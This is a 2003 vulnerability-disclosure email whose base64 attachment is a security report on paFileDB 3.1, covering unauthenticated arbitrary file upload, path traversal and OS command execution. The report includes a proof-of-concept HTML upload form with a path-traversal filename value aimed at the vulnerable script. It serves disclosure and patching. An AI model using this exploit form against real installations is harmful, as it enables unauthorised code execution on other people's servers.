--Multipart_Thu__24_Jul_2003_08:52:33_+0200_081ecc50
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit


hola,

paFileDB 3.1 (http://www.phparena.net) allows arbitrary file-upload and os-command execution.

(security report attached)


nice day,
mEi


-- 
WebSec.org / Martin Eiszner
Gurkgasse 49/Top14
1140 Vienna
Austria / EUROPE

mei@websec.org
http://www.websec.org
tel: 0043 699 121772 37

--Multipart_Thu__24_Jul_2003_08:52:33_+0200_081ecc50
Content-Type: application/octet-stream;
 name="pafiledb.txt"
Content-Disposition: attachment;
 filename="pafiledb.txt"
Content-Transfer-Encoding: base64

Cj09PT09PT09PT09PT09PT09PT09PT09PT09PT0KU2VjdXJpdHkgUkVQT1JUIHBhRmlsZURCIDMu
MQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09CgpQcm9kdWN0OglwYUZpbGVEQiBWZXJzaW9u
IDMuMSAoYW5kIGVhcmxpZXIpClZ1bG5lcmFibGl0aWVzOglhcmJpdHJhcnkgZmlsZS11cGxvYWQs
IHBhdGgtdHJhdmVyc2FsLCBhcmJpdHJhcnkgT1MgY29tbWFuZC1leGVjdXRpb24KVnVsbi4tY2xh
c3NlczoJaHR0cDovL3d3dy5vd2FzcC5vcmcvYXNhYy9wYXJhbWV0ZXJfbWFuaXB1bGF0aW9uL2Zv
cm1zLnNodG1sCgkJaHR0cDovL3d3dy5vd2FzcC5vcmcvYXNhYy9pbnB1dF92YWxpZGF0aW9uL29z
LnNodG1sCgkJaHR0cDovL3d3dy5vd2FzcC5vcmcvYXNhYy9pbnB1dF92YWxpZGF0aW9uL3B0LnNo
dG1sClZlbmRvcjoJCXBocCBhcmVuYSAoaHR0cDovL3d3dy5waHBhcmVuYS5uZXQvKQpWZW5kb3It
U3RhdHVzOgljb250YWN0ZWQgdGhydSBtYWlsZm9ybSAoaHR0cDovL3d3dy5waHBhcmVuYS5uZXQv
bWFpbC5waHApIDI2LjA2LjIwMDMKVmVuZG9yLVBhdGNoOglodHRwOi8vZm9ydW1zLnBocGFyZW5h
Lm5ldC9pbmRleC5waHA/YWN0PVNUJmY9MjYmdD0yMTcwCgpFeHBsb2l0YWJsZToKTG9jYWw6CQlO
TwpSZW1vdGU6CQlZRVMKCj09PT09PT09PT09PQpJbnRyb2R1Y3Rpb24KPT09PT09PT09PT09Cgoo
dGFrZW4gZnJvbSB3ZWJzaXRlKQotLS0qLS0tCnBhRmlsZURCIGlzIGRlc2lnbmVkIHRvIGFsbG93
IHdlYm1hc3RlcnMgaGF2ZSBhIGRhdGFiYXNlIG9mIGZpbGVzIGZvciBkb3dubG9hZCBvbiB0aGVp
ciBzaXRlLiBUbyBhZGQgYSBkb3dubG9hZCwgYWxsIHlvdSBkbyBpcyB1cGxvYWQgdGhlIGZpbGUg
dXNpbmcgRlRQIG9yIHdoYXRldmVyIG1ldGhvZCB5b3UgdXNlLCBsb2cgaW50byBwYUZpbGVEQidz
IGFkbWluIGNlbnRlciwgYW5kIGZpbGwgb3V0IGEgZm9ybSB0byBhZGQgYSBmaWxlLgotLS0qLS0t
CgoKPT09PT09PT09PT09PT09PT09PT09ClZ1bG5lcmFiaWxpdHkgRGV0YWlscwo9PT09PT09PT09
PT09PT09PT09PT0KCgoxKSBBUkJJVFJBUlkgRklMRSBVUExPQUQKPT09PT09PT09PT09PT09PT09
PT09PT09Cgp0aGUgc2NyaXB0ICIvaW5jbHVkZXMvdGVhbS9maWxlLnBocCIgKGFuZCBtYXliZSBv
dGhlcnMpIGRvZXMgbm90IGNoZWNrIGZvciBhIHZhbGlkIHNlc3Npb24uCnRoZXJlZm9yZSBpdCBp
cyBwb3NzaWJsZSB0byB1cGxvYWQgYXJiaXRyYXJ5IGZpbGVzIGJ5IGNyZWF0aW5nL21vZGlmeWlu
ZyBhIHNpbmdsZSBmb3JtLXBhcmFtZXRlci4KCkZvcm0tZXhhbXBsZToKLS0tKi0tLQo8aHRtbD48
Ym9keT4KPGZvcm0gRU5DVFlQRT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBh
Y3Rpb249Imh0dHA6Ly9zcnYvcGFmaWxlZGIvaW5jbHVkZXMvdGVhbS9maWxlLnBocCI+CjxpbnB1
dCBuYW1lPSJ1c2VyZmlsZSIgVFlQRT0iZmlsZSI+PGJyPgo8aW5wdXQgbmFtZT0idXNlcmZpbGVf
bmFtZSIgVFlQRT0idGV4dCIgdmFsdWU9Ii4uLy4uLy4uL3VwbG9hZHMvbWFrZWF3aXNoIj48YnI+
CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9InRlYW0iPgo8aW5wdXQg
dHlwZT0iaGlkZGVuIiBuYW1lPSJ0bSIgdmFsdWU9ImZpbGUiPgo8aW5wdXQgdHlwZT0iaGlkZGVu
IiBuYW1lPSJmaWxlIiB2YWx1ZT0idXBsb2FkIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0i
dXBsb2FkIiB2YWx1ZT0iZG8iPgo8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9
ImRvaXQiPgo8L2Zvcm0+CjwvYm9keT48L2h0bWw+Ci0tLSotLS0KCjIpIEFSQklUUkFSWSBPUy1D
T01NQU5EIEVYRUNVVElPTgo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCmJ5IHVw
bG9hZGluZyBwcm9ncmFtLSBvciBzY3JpcHQtZmlsZXMuCgoKClNldmVyaXR5OglISUdIIAoKCj09
PT09PT0KUmVtYXJrcwo9PT09PT09Cgp0eXBpY2FsIHBocC11cGxvYWQgcHJvYmxlbQoKPT09PT09
PT09PT09PT09PT09PT0KUmVjb21tZW5kZWQgSG90Zml4ZXMKPT09PT09PT09PT09PT09PT09PT0K
CnNvZnR3YXJlIHBhdGNoLgoKCkVPRiBNYXJ0aW4gRWlzem5lciAvIEAyMDAzV2ViU2VjLm9yZwoK
Cj09PT09PT0KQ29udGFjdAo9PT09PT09CgpXZWJTZWMub3JnIC8gTWFydGluIEVpc3puZXIKR3Vy
a2dhc3NlIDQ5L1RvcDE0CjExNDAgVmllbm5hCgpBdXN0cmlhIC8gRVVST1BFCgptZWlAd2Vic2Vj
Lm9yZwpodHRwOi8vd3d3LndlYnNlYy5vcmcK

--Multipart_Thu__24_Jul_2003_08:52:33_+0200_081ecc50--